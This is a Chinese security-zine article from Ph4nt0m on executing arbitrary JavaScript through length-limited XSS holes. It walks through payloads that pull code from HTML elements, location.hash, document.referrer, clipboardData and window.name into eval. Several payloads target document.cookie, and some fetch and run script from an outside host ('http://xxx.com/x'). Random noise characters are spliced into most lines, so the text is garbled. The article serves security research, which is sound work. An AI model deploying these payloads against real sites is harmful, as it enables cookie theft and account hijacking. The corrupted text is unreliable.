==Ph4nt0m Security Team==
( o( S7 L) K% s3 f1 i0 W - G% K0 t' i" ]% `4 U
Issue 0x03, Phile #0x04 of 0x07
! m4 B; O( R+ K# g+ p" Z/ ]: i; X6 y " R( h2 {: S0 W- \9 a$ h$ t1 i
8 L8 z7 G$ S3 F- c4 O, b: n6 g
|=---------------------------------------------------------------------------=|0 ]! ~; `; ]9 a, f
|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|4 J: E* `% N/ A7 N+ v) B/ i
|=---------------------------------------------------------------------------=|9 @( l$ j+ I( x6 A5 x! l
|=---------------------------------------------------------------------------=|# u4 y, b; C' K( k& F, g5 S
|=------------------------=[ By luoluo ]=---------------------------=|
& ~/ `- x @/ ^! [+ F|=----------------------=[ <luoluo#ph4nt0m.org> ]=------------------------=|# Z" X1 G) M' Q# @
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
8 x. [+ X# O* ]1 J6 q: \+ M8 N|=---------------------------------------------------------------------------=|8 B3 `+ W$ f7 y' m; d) ~2 B
( S6 |9 M1 M4 v0 q. R4 E+ {6 O
6 n( r8 V" F1 A7 q+ P( Z5 Q1 Z
[目录]3 c# q4 a, q' _$ E3 `- q
0 P8 J. u0 p; x2 Y5 M& z' r1. 综述9 S" t# V9 i) f8 k
2. 突破方法
7 O. R, j, F2 Q. ~; C( c/ i' J4 ] 2.1 利用HTML上下文中其他可以控制的数据8 c- U& R) T- h/ k
2.2 利用URL中的数据
5 ?; ]4 P& f8 W4 N: x) L7 Q8 ? 2.3 JS上下文的利用% ?- ^" a& ^1 _7 f
2.4 利用浏览器特性在跨域的页面之间传递数据
4 }' f: w" u4 A$ Q 2.4.1 document.referrer! U [' Q; _/ C$ ?, ]- J6 |7 Z
2.4.2 剪切板clipboardData# |5 v Q Z4 y6 z. v. ~
2.4.3 窗口名window.name" W) j& o6 ?. L: s0 ^ ~0 |
2.5 以上的方式结合使用
9 X# \" @# {2 A* H$ k# Q- F3. 后记/ E# V" t, C1 B) C$ A+ y7 p# E
4. 参考
" E; J0 G9 ^" Y
: Q) G. [! S0 e( F7 d% S+ X! F; K& T+ K* x4 l* S
一、综述8 X# K" |) U) C# z* l6 p1 r9 k
" _1 r- j8 B) L/ R
有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主5 D. V$ o1 h3 x7 v
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
' Z5 _" ~- l: @/ G5 Q# y行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
0 Y E1 @& ?6 N人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些0 R, H6 L9 |' i6 E% b
极端情况下的XSS漏洞。+ w2 F9 h4 P" q% h* s0 K
; B. \- w# {. i5 ^# w2 o k7 N. N
突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
' n6 g0 F5 N5 [8 r% h据。
/ s! S3 j, h( g V
# d5 _% Y8 H6 ^0 V" I8 l$ D) F8 p& K, }
二、突破方法
' h! t) N5 {" n: c1 b# g0 }+ N1 h& W# l; x: d# u' l' E; G; J6 s
2.1 利用HTML上下文中其他可以控制的数据( Y" t! V- |, P4 g( _% W: o9 H& K2 o0 R
* T9 i- r* H8 v$ H4 I! A2 G* C% c" L 如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数4 z% E/ b# g0 p& ?% Z
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
2 m0 ^; }* ]2 R; [6 @% K制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:
0 P9 T4 {' _9 O; [. R! w* r" S' _
4 K+ u8 D" d& ~6 h r4 N: i; P--code------------------------------------------------------------------------- \2 @4 |! M; E. U/ T$ V
<div id="x">可控的安全的数据</div>9 n' `3 @0 k" O( `& {) z" ~
<limited_xss_point>alert(/xss/);</limited_xss_point>
% b" a: U6 x5 M, U8 R7 w-------------------------------------------------------------------------------
0 ^" ~- E/ J- `; v) ^9 ?2 T- A7 C8 s4 }) I" }( j3 K
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
1 i, U9 j- s( X4 Y4 _编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
/ t5 t, Y; z4 U. _% p( c5 Y; k2 M- J$ F1 L' }6 f
--code-------------------------------------------------------------------------
0 |; _" _$ [ L7 K( b<div id="x">alert%28document.cookie%29%3B</div>
! }5 G& f: K9 p6 W4 r; T<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point># ?% _- A t g
-------------------------------------------------------------------------------2 s- Q. O* x( `/ Z
7 W8 D, L/ k/ e- r; E2 n
长度:28 + len(id)# i) D, k5 W$ G+ y" T
6 `% C O! q( Y7 Q3 a9 S* G, \ 由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
4 }# U f( L' U/ e0 H8 E! G; _. y
( a# X' }1 _2 Q- l4 C. ~3 J
, y! F: W S" k8 O# D2.2 利用URL中的数据
( d& r$ W3 m8 p( k0 S6 n* H; s5 M* M0 |* ~
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可# y( X9 ]9 f, z7 L7 m G: \
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过 d. h! m% W& U% W. H3 `
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到3 F& Y0 }1 H$ ~& t5 Y$ V& Q
最后:
& Q* ? L& ?+ {* K# W( `2 O( s9 p2 |5 o7 o; |/ f/ \; e
--code-------------------------------------------------------------------------
' v3 l6 K7 b" Z' Z: hhttp://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)3 T5 c1 d" P$ G4 b! u( X
4 p/ n( g1 b: e, Y
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
# K% f- @$ J' B-------------------------------------------------------------------------------
- e1 G- l/ |: ?: r
% Y! U& }" f; ^$ E4 G0 V% F: M长度:30
- u& Y) E5 ^" ]- {: X. O1 W- G; d5 d
--code-------------------------------------------------------------------------
6 x! H4 p+ k1 f+ z( m<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>: A. G6 |/ ^6 a. t8 a
-------------------------------------------------------------------------------" r9 ?" L( ?8 ?/ i% @( c0 @
" B3 D+ J% c, U+ p7 r3 B8 ?) T长度:31* }' O& e2 s3 J3 q
4 Q& P* e+ T. t/ F$ }) b e 上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
& R. P, t$ Y: m的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个+ @2 g- _4 D$ N8 T* W+ p
字符:
! _- `" X6 ~ A8 n- U6 A5 F4 P, l; t/ ~5 H9 n1 H
--code-------------------------------------------------------------------------
! y2 ^- p) A- x U* n<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>) L8 y$ s0 o g) u. a* s7 ~
-------------------------------------------------------------------------------
6 m2 O: i( @8 G* S# _. i# K, r6 N. R4 a. B* P' J. G( }8 n8 P
长度:29
/ U" z7 L# ~9 l' ]3 Q" F5 C8 ?) W: @ @
--code-------------------------------------------------------------------------
( V v6 j3 D. f1 ^<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>/ L& t* \* H: q! C( j
-------------------------------------------------------------------------------3 c" ^3 u1 R7 I* o4 h; P: o
& {/ t- C7 E1 `- w长度:300 @* h b8 K) B) D
1 C9 O7 Q$ h5 b }' q
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现. x; y) X% G; v: b5 u+ a
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获% x/ r% v3 Z/ [0 u- K" q
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:5 I! M' ?/ x& O" W/ n4 W
8 M; C; t* {7 M. r# K" E' ? }7 D--code-------------------------------------------------------------------------
& k: U1 S/ ~- j }$ A8 ihttp://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)6 y# q7 N: B. b5 ~
7 X; P# k) M7 N- j+ E: m% I; R<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>$ `0 M" I) F \, A
-------------------------------------------------------------------------------
' |7 D6 E8 p) O
) k! p3 v( O5 i( P7 E" V长度:29
' K+ W0 l F( X- [$ e* N( Z6 Z, ^ u( e( x# @- m
这样比上面的例子又少了一个字符。那么还可以更短么?
+ Y! t" H" y0 s% m, l, h0 g+ U
) R2 q k0 \- ^: L( [) j1 n- p, O; n$ U( V1 m
2.3 JS上下文的利用
1 Q: s6 l. I# \, {! L/ Q \
% r# k) ~, y& L& y 为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:9 Q1 S* j8 E& W- l& ?$ ]
5 W% Z! j% T" j
String.fromCharCode
; R' V& t7 I6 lgetElementById
/ ]3 N1 B: A7 w$ |6 M) P6 B" SgetElementsByTagName
- A7 e, G' p( `- h% i2 Qdocument.write
: u# [! x& T% Z7 aXMLHTTPRequest
- q% P2 b: m( k. b5 U...
- C0 H9 T8 U7 f) X6 `, ?$ j4 V' s# O1 e# m
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的 }2 Y6 E4 K' Z
简化函数,最经典的例子就是:
: z, p3 S2 P0 C3 V* V
! z7 Y7 ]0 F( C--code-------------------------------------------------------------------------- I4 Z ]2 N# l* {0 R1 D8 y. J
function $(id) {9 _0 U7 x( o6 v( p
return document.getElementById(id);: T# v& L- K1 y
}' H! V* a6 ` v; f+ W5 m6 k
-------------------------------------------------------------------------------
3 v9 |5 @( o Q' A3 w! d0 S
/ I* w+ [: `( h% O 这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
/ k( C Z" P" i4 ?# h最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:9 u, Z5 G6 L8 ]* l% a9 Y7 W( t
6 m! z! `( b7 g3 E9 _% R5 Y--code-------------------------------------------------------------------------7 d( H9 c H/ w+ j, y: }1 ~
function loads(url) {. C: f3 K2 q H
...* J4 W0 H( q: |9 O
document.body.appendChild(script);
! P5 M7 E& o! A8 r; m: E}3 t2 W0 M' L' }
1 s9 n0 b1 k e9 |# t# t: F7 O<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>- R: G4 K! i+ N; D. f5 s
-------------------------------------------------------------------------------
/ G. h4 P8 k) L1 l2 s9 K. w9 b4 |% g; A) u7 B* K* I
长度:len(函数名) + len(url) + 5
5 h& n! d/ m ?' Z
* P* r# J7 V( w 当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
, O9 L8 g8 h% P% b) t
7 h0 v/ b5 F8 X" \1 S* o% N- ~--code-------------------------------------------------------------------------
2 `3 |- D7 @/ O! rfunction get(url) {+ X& x7 k+ k' [% K7 h
...% j' s3 l1 q0 L3 U8 K3 u
return x.responseText;
, G$ q+ }6 u$ P. v' C}
6 L8 g' s1 I) ~. {* R
) R) a' }) ~! P9 b! {; J/ L O<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>$ y& R# W& j# W0 _, C+ I. D6 K
-------------------------------------------------------------------------------, L% [0 O. K& i/ b! g& P
$ p8 f9 U/ ^4 H5 E, b! u长度:len(函数名) + len(url) + 11
) W. G% y g# A& E. r9 x7 S. v
* s; s. J2 m! W8 Q% R 道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:, \2 G' }; j" c4 M! [2 o
$ _& V" c1 z' L( [- t% a7 A2 ]JQuery0 _1 @$ _6 {( M) M; B1 ]
YUI) Q/ W W- G& s% E( t, L' D
...5 @" I6 @7 u; t; j, N, G5 f
( b0 P+ t( Q) L+ x, r( L 综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
& Q' O! h% o& A, N5 C% U+ k3 v2 F& k/ r们的代码,进而突破长度限制执行任意代码。
a% r6 ~6 N/ z6 O# v! N/ @# C2 S( v, y' o
3 I" m9 T" `1 ?% x/ [2.4 利用浏览器特性在跨域的页面之间传递数据+ b3 z. e. M4 h9 _
* T. ~. P' Y9 h 虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
$ f; c/ f# _- P3 B( B8 {2 T/ u方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。
0 R( x; p' Q9 n6 ^) [; g1 E. a7 O& B
2.4.1 document.referrer# Y# k4 J2 E/ `' o; D; |
0 W1 t) N! M* n, }
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了' a/ t' _0 {- {9 N7 p! Z) `& H: Q
Payload,被XSS的页面通过referrer获取相关代码执行。
" g1 O9 d& F& J# I/ J. q
' K5 j; t/ M2 y0 R攻击者构造的的页面:
0 a6 Z0 ^9 N! k) i$ `% ]& Q+ Q- q2 H7 t6 N8 f
--code-------------------------------------------------------------------------
3 D' O- v2 l a# P( G0 G+ ehttp://www.a.com/attack.html?...&alert(document.cookie)5 g, U% K, P2 Z
: y9 r6 p1 K: t2 ^<a href="http://www.xssedsite.com/xssed.php">go</a>4 S V9 p, _( @
-------------------------------------------------------------------------------" i7 @6 v* a. |9 S) n" p
/ |6 p: x( e$ B4 P
被XSS的页面:
, w. E6 n1 ]) [; ~- F% v
' ?! Y& J; [, T7 z--code-------------------------------------------------------------------------
3 [4 f8 D7 d, u' z+ Z4 \<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>$ U' E" K4 n% R
-------------------------------------------------------------------------------* z Q* p+ p5 C# B* Y0 c% S
V7 }' s( P# K4 Z; P1 F
长度:34+ |0 _' J" u$ o* b
7 m8 i: d g' M
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>5 n5 J9 ]5 @$ [
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式! \0 D, h8 w" Z0 a
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer: a& q, l# }! M. s
* | D3 ~$ S0 w* ]2 O: E! j--code-------------------------------------------------------------------------% S, Z0 ?1 B* c- F. V5 y1 i
<script type="text/javascript">
) A; [1 X: X. I& y% s* j<!--
, Z w2 i7 m; Uwindow.onload = function(){
) n: ^0 d4 n N2 Z4 q var f = document.createElement("form");8 }2 V& z4 d. D: r( H: k
f.setAttribute("method", "get");/ W: [" R7 M3 t, g5 h
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
# d+ U5 w1 o8 i3 w# c, Y* [9 b8 |; O document.body.appendChild(f);
5 A" a- m+ l" C" C& @$ r, { f.submit();
) ^# ~4 z$ {6 k5 e% `) |};
b: I: \! q5 T6 s3 ]//-->7 g1 w; a: n4 V1 X5 C" r
</script>1 [4 E! c+ B' z% L& [9 E
-------------------------------------------------------------------------------! p: t: o$ [% V, E. v
[' v3 y9 } w( k. G
- h* }5 q) s- {8 d2 e9 @$ F' S
2.4.2 剪切板clipboardData
9 I* f# `/ @; ` P( S6 J7 v, Q- O8 S4 y; j& h z5 n# v. N
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获; [, v, t1 S9 }
取并执行该数据。( Y1 w3 a8 \/ u, K
& J, Q: \$ @+ u D" X, c
攻击者构造的页面:
* L5 {& `" `1 I* ]* w( C
; ]# _" x, A. v# c--code-------------------------------------------------------------------------) A. z; ] o' e+ H' H4 F1 W
<script>! ]. X" X g+ @/ W; T1 J6 n6 w
clipboardData.setData("text", "alert(document.cookie)");
L7 Q, T1 D& ~</script>: l& G' s7 J8 {
-------------------------------------------------------------------------------
! a/ V- D+ Q: P
8 O, {# s& J3 W被XSS的页面:# X' R' E% ~1 B0 J
# h4 w2 Z0 X( g1 u# v2 u
--code-------------------------------------------------------------------------3 c) ~! Q: W1 P2 m3 C
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>$ {1 Q6 m# _3 c2 f
-------------------------------------------------------------------------------8 r9 d) P, n' c1 q5 d
+ ^# b W+ c8 J# a! L5 x长度:36+ a1 A. A7 I$ Y# X9 Z2 W) O2 X
: `5 O* O u4 a* U" l 这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
7 b* \; A) I( S% ^ U j9 A
p0 M) F6 q5 h# h# f# l
( v" V0 \+ K- R' k5 Z2.4.3 窗口名window.name
& ]8 Q9 n- a$ e( e+ C$ D+ O# a9 i3 v8 Z+ n* Z1 u7 f) f% W# q
这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
1 ^8 q9 X( k0 [& I据的,但是这个特性本身并不是漏洞。
% A* A4 M+ h9 f& ?$ a" i. L: b; J* x9 L- {
如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置 ^' e% M3 c" A6 l0 a( U: K
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
! d8 B6 F7 l3 l' u- ~" a$ j* ?5 o我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只' o4 z& m( H- Q& F/ z& L
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
; {( i4 W- Y6 A i5 o! S的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS1 {" |2 b. C9 ^, m8 T% K/ ^; y
或者VBS。& s% ~, @3 S. ^" e( _+ w F/ f$ K* c
1 L( g8 T: H0 F/ t" A 但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
6 C; Y* X) w7 P$ X4 t5 n限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:$ k% N- T# b9 e: P
0 a/ j6 q) p" B% R- r' D攻击者构造的页面:
/ J/ m7 p+ H. E
+ q8 [# j, h" ~/ V4 g% t--code-------------------------------------------------------------------------& e" T( x" ~+ D
<script>
6 z7 D& [" K1 A: ^' rwindow.name = "alert(document.cookie)";; \3 K; v* x% H X' P. X9 G1 C
locaton.href = "http://www.xssedsite.com/xssed.php";
0 `8 v. W# N3 b9 _</script>
" x$ S3 G. w( U% U-------------------------------------------------------------------------------
- {) q/ M* s# F c" ~ P t8 ~! a2 A8 k) X$ {
被XSS的页面:( t; q3 Q9 V8 ~
( _2 e) s p# E) a--code-------------------------------------------------------------------------
: U0 V" l1 X8 v1 U, d) i: T- [, ^ X; Q<limited_xss_point>eval(name);</limited_xss_point>
7 Y$ |; ^+ o& X8 X% ^-------------------------------------------------------------------------------2 }; T q" K4 h1 E' H
! h" M2 X! A# ?( c" H
长度:11+ T! B/ a, s4 S; j ~
$ s: O4 O9 a T" e" o4 h) r 这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
) Y. b$ {% [" u3 F5 T的技巧,这个技巧的发现也是促成本文的直接原因。# d- y' e4 F* I! K7 |
% L$ { W, V, g% n0 i9 _ window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
, F/ Y" B' B9 e% r5 ]( R, }章来探讨。
+ E8 s1 z) B) [$ G% ~& s: d" N' w9 _
+ Q) h" S% L& M2.5 以上的方式结合使用/ _' [; |" c. W- w0 w' \4 e
$ g2 W3 E6 W. s* t 以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
% V4 P8 c& v( a中,灵活的组合上面的方法可能会起到奇效。+ Z- ?* `8 t# |! Y
6 n- ] X. J7 r; s
6 B2 w7 T6 H$ |
三、后记. ~* @# g' h1 P5 Y
' t9 s% u: ~& t* W6 M
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的/ h* t3 w3 v+ {. D
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
) K6 E+ J# m; l, G# x和我交流!
& g% l4 p9 b/ E, ^+ n5 j
6 A2 L1 ]* F8 w1 [1 T 感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!! w ]* D+ x e% x; |7 h6 n0 p
2 N, Y' {& k, @- U5 y. p
本文是纯粹的技术探讨,请勿用于非法用途!
( ?0 |' i, [. a6 u: D" `6 Q* j6 ]$ ]. a" R
% f; k! W. m" V9 z$ T( `8 J
四、参考9 s3 h' @3 g$ ^. P) z
1 v( v4 D2 k3 z3 X" N) z0 lhttp://msdn.microsoft.com/en-us/library/aa155073.aspx4 ^' h9 y3 g& _9 H
# c+ T W- H6 F7 p-EOF- |